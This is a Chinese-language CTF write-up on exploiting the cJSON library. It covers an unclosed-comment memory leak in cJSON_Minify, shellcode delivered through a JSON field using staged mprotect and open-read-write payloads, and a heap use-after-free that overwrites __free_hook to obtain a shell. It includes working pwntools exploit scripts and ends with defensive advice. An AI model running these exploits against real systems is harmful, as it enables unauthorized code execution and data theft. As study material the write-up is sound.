cjson&json 二进制漏洞利用总结
字数 1602 2025-08-22 12:22:54
cJSON & JSON 二进制漏洞利用技术总结
1. JSON基础与cJSON库介绍
1.1 JSON基础格式
JSON(JavaScript Object Notation)是一种轻量级数据交换格式,具有以下特点:
- 键/值对用冒号
:分隔 - 多个键/值对用逗号
,分隔 - 支持对象和数组嵌套
- 基本数据类型:
- 字符串(String)
- 数字(Number)
- 布尔值(Boolean)
- 空值(Null)
- 对象(Object)
- 数组(Array)
示例:
{
"fruits": ["apple", "banana", "cherry"]
}
1.2 cJSON库结构
cJSON是一个轻量级C语言JSON解析库,其核心结构体定义如下:
typedef struct cJSON {
struct cJSON *next, *prev; // 双向链表指针
struct cJSON *child; // 子节点指针
int type; // 数据类型标识
char *valuestring; // 字符串值
int valueint; // 整数值
double valuedouble; // 浮点数值
char *string; // 键名
} cJSON;
关键字段说明:
type字段取值及含义:- 0:
false(布尔假值) - 1:
true(布尔真值) - 2:
null(空值) - 3:
number(数值) - 4:
string(字符串) - 5:
array(数组) - 6:
object(对象)
- 0:
2. cJSON漏洞类型与利用技术
2.1 cJSON_Minify函数漏洞
漏洞原理
cJSON_Minify函数用于去除JSON中的空白字符和注释,但在处理未闭合注释时存在缺陷:
case '/':
if (jsona[1] == '/') {
while (*jsona && *jsona != '\n') jsona++; // 跳过单行注释
} else if (jsona[1] == '*') {
jsona += 2; // 跳过/*
while (*jsona && !(*jsona == '*' && jsona[1] == '/')) {
if (!*jsona) return; // 未检测未闭合注释
jsona++;
}
jsona += 2; // 跳过*/
} else {
*into++ = *jsona++; // 复制字符
}
break;
当遇到未闭合的多行注释(如/*aaaaa没有*/)时,函数会持续读取内存直到遇到*/或程序崩溃,导致信息泄露。
利用方法
- 构造未闭合的注释使程序持续读取内存
- 通过控制注释长度精确控制读取位置
- 分多次泄露目标数据
实例分析(2021 SCTF dataleak)
- 通过构造未闭合注释泄露服务器数据
- 分两次读取22字节的flag:
- 第一次读取部分数据
- 调整注释长度后第二次读取剩余部分
# 第一次泄露
s('aaaaaaaa/*'.ljust(0xe,'a'))
sleep(0.5)
s('aaaaaaaa/*'.ljust(0xe,'b'))
flag1=mx.recv(0xb)
# 第二次泄露
s('aaaaa/*'.ljust(0xe,'a'))
sleep(0.5)
s('/*'.ljust(0xe,'b'))
flag2=mx.recv(0xb)
print(flag1+flag2)
2.2 cJSON_Parse函数与Shellcode注入
漏洞原理
cJSON_Parse将JSON字符串反序列化为cJSON结构体,结合cJSON_GetObjectItemCaseSensitive可提取特定字段值。当程序直接使用这些值作为可执行代码时,可能导致代码注入。
利用方法
- 构造包含shellcode的JSON数据
- 通过特定字段名(如"shellcode")传递恶意代码
- 利用内存权限修改执行shellcode
实例分析(2024 强网拟态 ezcode)
- 限制:22字节shellcode且目标内存段不可写
- 利用方案:
- 使用短shellcode调用mprotect修改内存权限
- 再次read读入完整ORW shellcode
- 执行ORW读取flag
# 第一阶段shellcode (22字节)
content=asm('''
shl edi, 12 # 调整内存地址
mov ax,10 # mprotect系统调用号
lea edx,[rax-3] # 设置权限为7(RWX)
syscall # 调用mprotect
xor eax, eax # read系统调用号
xor edi, edi # 标准输入
mov dl, 0xff # 读取长度
mov esi, ecx # 目标地址
syscall # 调用read
''')
# 发送JSON格式的shellcode
payload={"shellcode":content.hex()}
sl(json.dumps(payload))
# 第二阶段ORW shellcode
orw=asm('''
mov rdi,rsi # 文件名指针
xor rsi,rsi # 打开标志
xor rdx,rdx # 模式
mov rax,2 # open系统调用
syscall
xor rdi,0xc # 调整文件描述符
mov rsi,rdi # 缓冲区
xor dl,30 # 读取长度
mov rdi,rax # 文件描述符
xor rax,rax # read系统调用
syscall
mov rdi,1 # 标准输出
mov ax,1 # write系统调用
syscall
''')
# 发送ORW payload
payload=b'flag\x00'+b'\x00'*5+orw
sl(payload)
2.3 cJSON与堆漏洞结合利用
漏洞原理
JSON解析过程中内存管理不当可能导致堆漏洞,如:
- Use-After-Free (UAF)
- 堆溢出
- 双重释放等
利用方法
- 通过JSON操作触发堆漏洞
- 利用堆风水控制内存布局
- 结合JSON解析特性绕过限制
实例分析(2024 ciscn决赛 ezheap)
- 漏洞:JSON解析后未正确释放内存导致UAF
- 利用步骤:
- 分配并释放堆块
- 通过多次编辑维持悬垂指针
- 泄露libc地址
- 劫持free_hook执行system
# 触发UAF
add(0x400,b'a') #0
add(0x400,b'a') #1
delete(0)
# 维持悬垂指针
for i in range(6):
edit(0,0x400,b'a'*0x10)
delete(0)
# 泄露libc地址
delete(1)
add(0x60,b'') #2
edit(2,1,b'\xe0')
show(2)
libc_addr=l64()-0x1ecbe0
# 劫持free_hook
libc.address=libc_addr
system=libc.sym['system']
free_hook=libc.sym['__free_hook']
edit(0,0x8,p64(free_hook)[:6])
add(0x400,b'a;/bin/sh')
edit(4,0x8,p64(system)[:6])
delete(3) # 触发system("/bin/sh")
3. 防御建议
-
输入验证:
- 严格验证JSON格式完整性
- 检查注释是否闭合
- 限制字段长度和内容
-
内存安全:
- 及时释放和置空指针
- 使用安全的内存管理函数
- 启用堆保护机制(如ASLR, DEP)
-
权限控制:
- 限制JSON解析内存区域的执行权限
- 使用沙箱隔离高风险操作
-
库更新:
- 及时更新cJSON到最新版本
- 使用经过安全审计的JSON解析库
4. 总结
cJSON库的漏洞主要来源于:
- 注释处理不严谨导致信息泄露
- 反序列化过程缺乏足够验证
- 内存管理不当导致堆漏洞
利用这些漏洞需要:
- 深入理解cJSON内部结构
- 精确控制JSON格式和内存布局
- 结合系统特性绕过防护机制
安全开发中应特别注意JSON解析边界条件的处理,避免将用户输入直接作为代码执行。